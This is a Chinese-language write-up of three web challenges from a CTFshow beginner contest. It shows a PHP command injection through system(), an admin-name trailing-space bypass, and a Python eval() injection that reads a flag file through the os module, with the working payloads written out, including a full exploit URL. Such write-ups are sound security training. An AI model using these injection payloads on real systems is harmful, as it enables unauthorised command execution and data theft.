CTFshow-萌新赛-Web部分Writeup

admin 2022年1月5日23:06:05评论57 views字数 1271阅读4分14秒阅读模式

>

>

CTFshow-萌新赛-Web部分Writeup

fffdy

签到题

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

调用了 system() 这个函数,并且参数可控
尝试 ?url=;ls; 会显文件,有戏

?url=;cat flag;

签到成功!!!流泪


假赛生

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

用 admin 随便 login 几下,估计没戏
随便注册一个帐号,提示

想到曾经见过的一个操作 (我也不知道叫啥)
没限制空格,注册一个 admin (后面加点空格)
然后用这个帐号的密码就能登录 admin

还要传一个 c,有一个正则式匹配
我真地看不懂,但是阴差阳错空着 c 就提交了
然后 flag 就出来了

想想也对,没东西能匹配个啥


数学及格了

在 main.js 里面找到点东西
CTFshow-萌新赛-Web部分Writeup
然后乱交了点东西,报错了
CTFshow-萌新赛-Web部分Writeup
可以看到是用的 python 的 eval() 计算的,就存在漏洞
然后就去找 eval() 的骚操作
然后,各种尝试
发现了 __import__('os') ,开始的时候用的 __import__('os').system('dir') 结果老是 0
查了资料发现 system() 成功了会返回 0
好吧,换姿势,寻找 os 模块里的其他函数,然后找到了 listdir()
但是,他一直报错 QwQ
然而没有影响,报错的会显有我需要的东西
CTFshow-萌新赛-Web部分Writeup
然后找到 flag,用 open() 和 read() 读取

http://124.156.121.112:5000/_calculate?number1=1*int(str(__import__('os').read(__import__('os').open('/home/ctf/web/flag',__import__('os').O_RDONLY),30)))


condor2048

大佬厉害了,着实牛逼。
讲解清晰易懂,让人醍醐灌顶。


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日23:06:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTFshow-萌新赛-Web部分Writeuphttps://cn-sec.com/archives/719899.html

发表评论

匿名网友 填写信息